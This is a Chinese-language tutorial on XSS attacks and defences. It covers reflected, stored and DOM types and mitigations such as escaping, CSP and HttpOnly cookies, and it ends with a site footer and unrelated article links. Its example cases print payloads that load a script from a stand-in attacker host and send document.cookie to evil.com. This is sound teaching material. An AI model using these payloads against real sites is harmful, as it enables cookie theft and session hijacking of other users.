15. 什么是 xss 攻击?怎么防护

总结

  1. 跨站脚本攻击,注入恶意脚本
  2. 敏感字符转义:“<”,“/”
  3. 前端可以抓包篡改
  4. 主要后台处理,转义

什么是 XSS 攻击?怎么防护

概述

XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的 Web 安全漏洞,攻击者通过向网页中注入恶意脚本,使其他用户在浏览该页面时,脚本在浏览器上下文中执行,从而窃取敏感信息、劫持用户会话或发起恶意操作。


XSS 攻击原理

XSS 利用了网站对用户输入内容的处理不当。当网站将用户输入的内容直接插入到 HTML 页面中而未进行有效过滤或转义时,攻击者可以构造包含 JavaScript、VBScript 等脚本的输入,诱导其他用户访问后触发执行。

常见注入方式

  • 在评论框、搜索框、URL 参数、表单提交等位置插入恶意脚本。
  • 利用富文本编辑器上传包含脚本的内容。
  • 注入 <script><img><svg> 等标签。

XSS 攻击类型

类型描述特点
反射型 XSS恶意脚本作为请求参数嵌入 URL,服务器未过滤直接返回给浏览器执行通常通过诱导点击链接传播,不持久
存储型 XSS恶意脚本被存储到服务器(如数据库、评论系统),当其他用户访问页面时自动加载执行危害更大,影响范围广
DOM 型 XSS攻击通过修改页面的 DOM(文档对象模型)触发,不经过服务器响应更加隐蔽,依赖前端逻辑

XSS 攻击的危害

  • 窃取用户的 Cookie、SessionID 等敏感信息
  • 劫持用户身份,模拟用户行为(如发帖、转账)
  • 修改网页内容,诱导用户下载恶意软件
  • 发起 CSRF(跨站请求伪造)攻击
  • 网站挂马、钓鱼攻击等

防护措施

✅ 前端防护

措施说明
HTML 转义输出对所有用户输入内容进行 HTML 实体转义,例如将 < 转为 &lt;> 转为 &gt;
避免 innerHTML 操作尽量使用 textContent 或框架自带的安全方法(如 Vue 的 {{ }}、React 的 {}
CSP(Content Security Policy)设置白名单策略,限制仅允许加载指定来源的脚本
使用安全的富文本库如 Quill、Draft.js 等,内置内容清理机制
限制用户输入长度和格式防止异常字符输入,如只允许数字、字母等

✅ 后端防护

措施说明
输入过滤与转义所有用户输入需经过严格的清洗,防止特殊字符进入数据库
设置 HttpOnly Cookie防止 JavaScript 访问 Cookie,减少 Cookie 被盗风险
使用 WAF(Web Application Firewall)过滤非法请求,识别常见 XSS 攻击模式
编码输出内容不同输出环境使用不同编码方式:HTML、JS、CSS、URL 编码
日志监控与告警监控异常请求,及时发现潜在攻击

示例:XSS 攻击代码

<!-- 用户输入 -->
<input type="text" value="<script>alert('XSS')</script>" /><!-- 服务端未转义输出 -->
<div><p>用户输入了:&lt;script&gt;alert(&#x27;XSS&#x27;)&lt;/script&gt;</p>
</div>

实际案例

案例一:社交平台留言区 XSS

攻击者在留言中插入如下代码:

<script src="http://evil.com/steal-cookie.js"></script>

当其他用户查看该留言时,脚本会自动执行,将当前用户的 Cookie 发送到攻击者的服务器。

案例二:搜索引擎反射型 XSS

攻击者构造恶意搜索词:

https://example.com/search?q=<script>window.location='http://evil.com?c='+document.cookie</script>

用户点击后跳转到攻击页面,导致 Cookie 泄露。


工具推荐

工具用途
OWASP ZAP开源 Web 应用安全测试工具,支持 XSS 扫描
Burp Suite商业级渗透测试工具,可模拟 XSS 攻击
DOMPurifyJavaScript 库,用于清理 HTML 内容中的危险脚本
Google CajaGoogle 提供的 HTML/CSS/JS 清理工具
Vue / React / Angular主流框架自带防 XSS 机制(如自动转义)

总结一句话

XSS 是一种利用网页漏洞注入脚本并执行的攻击方式,前后端应协同防御,通过输入过滤、输出转义、CSP 等手段保障用户数据安全。


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/914918.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/914918.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

更换docker工作目录

使用环境 由于默认系统盘比较小docker镜像很容易就占满&#xff0c;需要挂载新的磁盘修改docker的默认工作目录 环境&#xff1a;centos7 docker默认工作目录: /var/lib/docker/ 新的工作目录&#xff1a;/home/docker-data【自己手动创建&#xff0c;一般挂在新加的磁盘下面】…

算法学习笔记:26.二叉搜索树(生日限定版)——从原理到实战,涵盖 LeetCode 与考研 408 例题

二叉搜索树&#xff08;Binary Search Tree&#xff0c;简称 BST&#xff09;是一种特殊的二叉树&#xff0c;因其高效的查找、插入和删除操作&#xff0c;成为计算机科学中最重要的数据结构之一。BST 的核心特性是 “左小右大”&#xff0c;这一特性使其在数据检索、排序和索引…

共生型企业:驾驭AI自动化(事+AI)与人类增强(人+AI)的双重前沿

目录 引言&#xff1a;人工智能的双重前沿 第一部分&#xff1a;自动化范式&#xff08;事AI&#xff09;——重新定义卓越运营 第一章&#xff1a;智能自动化的机制 第二章&#xff1a;自动化驱动的行业转型 第三章&#xff1a;自动化的经济演算 第二部分&#xff1a;协…

TypeScript的export用法

在 TypeScript 中&#xff0c;export 用于将模块中的变量、函数、类、类型等暴露给外部使用。export 语法允许将模块化的代码分割并在其他文件中导入。 1. 命名导出&#xff08;Named Export&#xff09; 命名导出是 TypeScript 中最常见的一种导出方式&#xff0c;它允许你导出…

数据结构-2(链表)

一、思维导图二、链表的反转def reverse(self):"""思路&#xff1a;1、设置previous_node、current、next_node三个变量,目标是将current和previous_node逐步向后循环并逐步进行反转,知道所有元素都被反转2、但唯一的问题是&#xff1a;一旦current.next反转为向…

ros2 标定相机

一个终端执行&#xff1a; ros2 run image_tools cam2image --ros-args -p width:640 -p height:480 -p frequency:30.0 -p device_id:-1 -r /image:/camera/image_raw另一个终端执行&#xff1a;8x6 是格子角点数量&#xff0c;0.028是格子尺寸 ros2 run camera_calibration …

IsaacLab学习记录(二)

二、导入并训练自己的机器人1、urdf等其他格式转usd&#xff08;工具在./scrips/tools/&#xff09;​​​维度​​​​URDF (Unified Robot Description Format)​​​​USD (Universal Scene Description)​​​​定位​​机器人模型描述标准&#xff08;仅描述单机器人&…

基于Rust Softplus 函数实践方法

Softplus 函数 Softplus 函数是神经网络中常用的激活函数之一,定义为: ​ Softplus函数导数 ​ 是 sigmoid 函数。Softplus 处处可导,并且导数恰好是 sigmoid。 它是 ReLU 函数的平滑近似,具有连续可导的特性,适合需要梯度优化的场景。 数学特性 平滑性:导数为 Sig…

Ubuntu服务器安装Miniconda

下载 Miniconda 安装脚本&#xff08;如果能联网&#xff09;wget https://repo.anaconda.com/miniconda/Miniconda3-py39_24.1.2-0-Linux-x86_64.sh -O Miniconda3.sh安装 Miniconda 到 /opt/condabash Miniconda3.sh -b -p /opt/conda激活 conda/opt/conda/bin/conda init ba…

Java数组补充v2

一、数组基本概念1. 什么是数组数组是Java中用来存储同类型数据的固定大小的连续内存空间的数据结构。2. 数组特点固定长度&#xff1a;一旦创建&#xff0c;长度不可改变相同类型&#xff1a;所有元素必须是同一数据类型索引访问&#xff1a;通过下标&#xff08;从0开始&…

【PTA数据结构 | C语言版】前缀树的3个操作

本专栏持续输出数据结构题目集&#xff0c;欢迎订阅。 文章目录题目代码题目 请编写程序&#xff0c;利用前缀树查找给定字符串是否在某给定字符串集合 S 中。 输入格式&#xff1a; 输入首先给出一个正整数 n&#xff08;≤1000&#xff09;&#xff0c;随后 n 行&#xff0…

JAVA面试宝典 -《缓存架构:穿透 / 雪崩 / 击穿解决方案》

&#x1f4a5;《缓存架构&#xff1a;穿透 / 雪崩 / 击穿解决方案》 文章目录&#x1f4a5;《缓存架构&#xff1a;穿透 / 雪崩 / 击穿解决方案》&#x1f9ed; 一、开篇导语&#xff1a;为什么缓存是高并发系统的命脉&#xff1f;✅1.1 缓存的核心价值缓存带来的收益​​&…

FPGA创意项目网页或博客推荐

1. 综合项目平台(开源+教程) ① Hackster.io - FPGA专区 🔗 https://www.hackster.io/fpga 特点: 大量基于FPGA的创意项目(如Zynq游戏机、视觉处理、机器人控制)。 提供完整教程(Vivado工程文件+代码)。 推荐项目: FPGA-Based Oscilloscope(低成本示波器) V…

Go 程序无法使用 /etc/resolv.conf 的 DNS 配置排查记录

在最近的一次部署中&#xff0c;我遇到一个奇怪的问题&#xff1a;Go 程序在运行时不使用 /etc/resolv.conf 中的 DNS 设置&#xff0c;导致服务无法正常访问域名。这篇文章记录下完整的排查过程和最终的解决方案。1. 问题现象我有一个部署在 KVM 虚拟机内的 Go 应用&#xff0…

微服务相关问题(2)

1、Spring Cloud相关常用组件注册中心&#xff08;nacos、Eureka等&#xff09;、负载均衡&#xff08;Ribbon、LoadBalancer&#xff09;、远程调用&#xff08;feign&#xff09;、服务熔断&#xff08;Sentinel、Hystrix&#xff09;、网关&#xff08;Gateway&#xff09;2…

安全初级2

一、作业要求 1、xss-labs 1~8关 2、python实现自动化sql布尔育注代码优化(二分查找) 二、xss-labs 1~8关 1、准备 打开小皮面板&#xff0c;启动MySQL和apacher 下载 xss-labs&#xff0c;并解压后放到 phpstudy_pro 的 WWW 目录下&#xff0c;重命名为 xss-labs 访问链…

基础算法题

基础算法题 链表 1.1反转链表 描述&#xff1a; 描述 给定一个单链表的头结点pHead(该头节点是有值的&#xff0c;比如在下图&#xff0c;它的val是1)&#xff0c;长度为n&#xff0c;反转该链表后&#xff0c;返回新链表的表头。 数据范围&#xff1a; 0≤&#xfffd;≤…

Android 15 源码修改:为第三方应用提供截屏接口

概述 在 Android 系统开发中,有时需要为第三方应用提供系统级的截屏功能。本文将详细介绍如何通过修改 Android 15 源码中的 PhoneWindowManager 类,实现一个自定义广播接口来触发系统截屏功能。 修改方案 核心思路 通过在系统服务 PhoneWindowManager 中注册自定义广播监…

20250717 Ubuntu 挂载远程 Windows 服务器上的硬盘

由 DeepSeek 生成&#xff0c;方法已经验证可行。 通过网络挂载Windows共享硬盘&#xff08;SMB/CIFS&#xff09; 确保网络共享已启用&#xff1a; 在Windows电脑上&#xff0c;右键点击目标硬盘或文件夹 → 属性 → 共享 → 启用共享并设置权限&#xff08;至少赋予读取权限&…

深度学习图像增强方法(二)

三、直方图均衡化 1. 普通直方图均衡化 直方图均衡化的原理是将图像的灰度直方图展平,使得每个灰度级都有更多的像素分布,从而增强图像的对比度。具体步骤如下: 计算灰度直方图:统计图像中每个灰度级的像素数量。 计算累积分布函数(CDF):计算每个灰度级的累积概率。 映…